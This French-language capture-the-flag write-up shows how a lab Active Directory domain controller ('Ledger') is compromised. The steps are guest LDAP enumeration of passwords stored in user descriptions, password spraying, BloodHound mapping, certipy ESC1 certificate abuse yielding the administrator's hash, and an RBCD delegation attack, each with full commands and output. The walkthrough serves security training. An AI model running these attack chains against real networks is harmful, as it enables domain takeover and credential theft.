Ledger est une room où l’on doit compromettre un contrôleur de domaine. Plusieurs chemin sont possibles pour compromettre le domaine l’un utilisant une attaque RCBD et l’autre un template de certificat vulnérable.

Enumération

Comme d’habitude, on commence par lancer un scan nmap afin d’identifier les services exposés sur la machine. On voit directement que la machine est un controleur de domaine car elle a tous les ports type d’un DC.

Récupération de comptes valides

Une fois que j’ai remarqué que la machine était un DC, j’ai tenté de voir s’il était possible de récupérer des informations sur l’AD en mode anonyme ou avec le compte guest. J’ai vu qu’il était alors possible que le compte guest était activé.

Avec ce compte, j’ai pu récupéré la liste des descriptions des utilisateurs du domaine avec la commande suivante :

1
nxc ldap 10.10.163.155 -u Guest -p '' -M user-desc

J’ai alors constaté que certains utilisateurs avaient leur mot de passe qui était stocké dans l’attribut description de leur compte. Les administrateurs ont tendance a stocké certaines informations sensibles dans les descriptions des comptes qu’il crée mais ils oublient que ces descriptions peuvent être consulté par n’importe quel utilisateur du domaine

Ainsi, en utilisant en sprayant ce mot de passe sur l’ensemble des utilisateurs, je parviens à compromettre 2 comptes :

Accès RDP

Une fois les comptes compromis, je réalise une cartographie du domaine en récupérant les informations de ce dernier avec la commande suivante :

1
bloodhound-python -d thm.local -c All -u 'IVY_WILLIS' -p 'CHANGEME2023!' -ns 10.10.161.74 

Je vois alors que le compte susanna_mcknight, peut s’authentifier en RDP sur le DC :

Ainsi, en utilisant ces identifiants, j’obtients un accès RDP à la machine et je récupère le premier flag :

Certificats vulnérables

Après n’avoir pas réussi à faire une escalade de privilège avec l’accès RDP, j’ai décidé de voir si des certificats sont vulnérables. Pour ce faire, j’ai utilisé certipy avec la commande suivante :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
certipy-ad find -u IVY_WILLIS -p CHANGEME2023! -vulnerable -stdout -dc-ip 10.10.163.155
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 14 enabled certificate templates
[*] Trying to get CA configuration for 'thm-LABYRINTH-CA' via CSRA
[!] Got error while trying to get CA configuration for 'thm-LABYRINTH-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'thm-LABYRINTH-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'thm-LABYRINTH-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : thm-LABYRINTH-CA
DNS Name : labyrinth.thm.local
Certificate Subject : CN=thm-LABYRINTH-CA, DC=thm, DC=local
Certificate Serial Number : 5225C02DD750EDB340E984BC75F09029
Certificate Validity Start : 2023-05-12 07:26:00+00:00
Certificate Validity End : 2028-05-12 07:35:59+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : THM.LOCAL\Administrators
Access Rights
ManageCertificates : THM.LOCAL\Administrators
THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
ManageCa : THM.LOCAL\Administrators
THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
Enroll : THM.LOCAL\Authenticated Users
Certificate Templates
0
Template Name : ServerAuth
Display Name : ServerAuth
Certificate Authorities : thm-LABYRINTH-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : THM.LOCAL\Domain Admins
THM.LOCAL\Domain Computers
THM.LOCAL\Enterprise Admins
THM.LOCAL\Authenticated Users
Object Control Permissions
Owner : THM.LOCAL\Administrator
Write Owner Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
THM.LOCAL\Administrator
Write Dacl Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
THM.LOCAL\Administrator
Write Property Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
THM.LOCAL\Administrator
[!] Vulnerabilities
ESC1 : 'THM.LOCAL\\Domain Computers' and 'THM.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
1
Template Name : Computer2
Display Name : Computer2
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : THM.LOCAL\Domain Admins
THM.LOCAL\Domain Computers
THM.LOCAL\Enterprise Admins
THM.LOCAL\Authenticated Users
Object Control Permissions
Owner : THM.LOCAL\Administrator
Write Owner Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
THM.LOCAL\Administrator
Write Dacl Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
THM.LOCAL\Administrator
Write Property Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
THM.LOCAL\Administrator
[!] Vulnerabilities
ESC1 : 'THM.LOCAL\\Domain Computers' and 'THM.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

On voit que le template de certificat ServerAuth configuré à l’autorité de certification thm-LABYRINTH-CA est vulnérable à une ESC1. Ce modèle utilise tous les utilisateurs du domaine à demander un certificat en spécifiant le nom du compte cible et il est conçu pour l’authentification de client (Client Authentication). Ainsi, n’importe quel utilisateur peut obtenir un certificat qui lui permettra de s’authentifier en tant que n’importe quel compte.

Ainsi, en utilisant la commande suivante, on peut récuperer un certificat de l’administrateur du domaine :

1
2
3
4
5
6
7
8
└─$ $ certipy-ad req -username '[email protected]' -password 'C[REDACTED]!' -ca thm-LABYRINTH-CA -target labyrinth.thm.local -template ServerAuth -upn [email protected]
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 25
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

On peut ensuite utilise se certificat pour récupérer le hash du mot de passe du compte adminsitrateur du domaine :

1
2
3
4
5
6
7
8
9
$ certipy-ad auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:07d6[REDACTED]2322

Ensuite, on peut compromettre le DC en utilisant le hash du mot de passe. En revanche, comme le compte administrateur est dans le groupe protected Users, il faut associé le nom du domaine à l’adresse IP du DC dans /etc/hosts afin de pouvoir s’authentifier en kerberos.

Autre méthode : RBCD attack

En analysant les relations entre les objets du domaine avec BloodHound, on remarque qu’il y’a un autre moyen de compromettre le domaine. En effet, l’utilisateur guest à des droits GenericWrite sur le compte machine du DC ce qui peut nous permettre de faire une Resource Based Constrained Delegation attack.

Pour réaliser cette attaque, il est nécessaire de contrôler un compte machine. Par défaut, tous les utilisateurs du domaine peuvent ajouter 10 comptes machines sur le domaine. Ainsi, on peut utiliser cela pour créer un compte machine que l’on contrôle avec les identifiants récupérés précédemment.

1
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 10.10.161.74 -domain-netbios thm.local 'THM.LOCAL/SUSANNA_MCKNIGHT:REDACTED'

Ensuite, on peut configuer le compte machine du DC pour que notre compte machine puisse demander des tickets de délégation au nom d’autres utilisateurs pour s’authentifier auprès du DC.

1
rbcd.py THM.LOCAL/guest:'' -dc-ip 10.10.161.74 -delegate-to LABYRINTH$ -delegate-from ATTACKERSYSTEM$ -action write 

Finalement, on peut demander un ticket au service d’authentification du DC en prétendant être l’administrateur du domaine :

On peut ensuite utiliser le ticket récupéré pour s’authentifier avec le -k et l’option -nopass et wmiexec.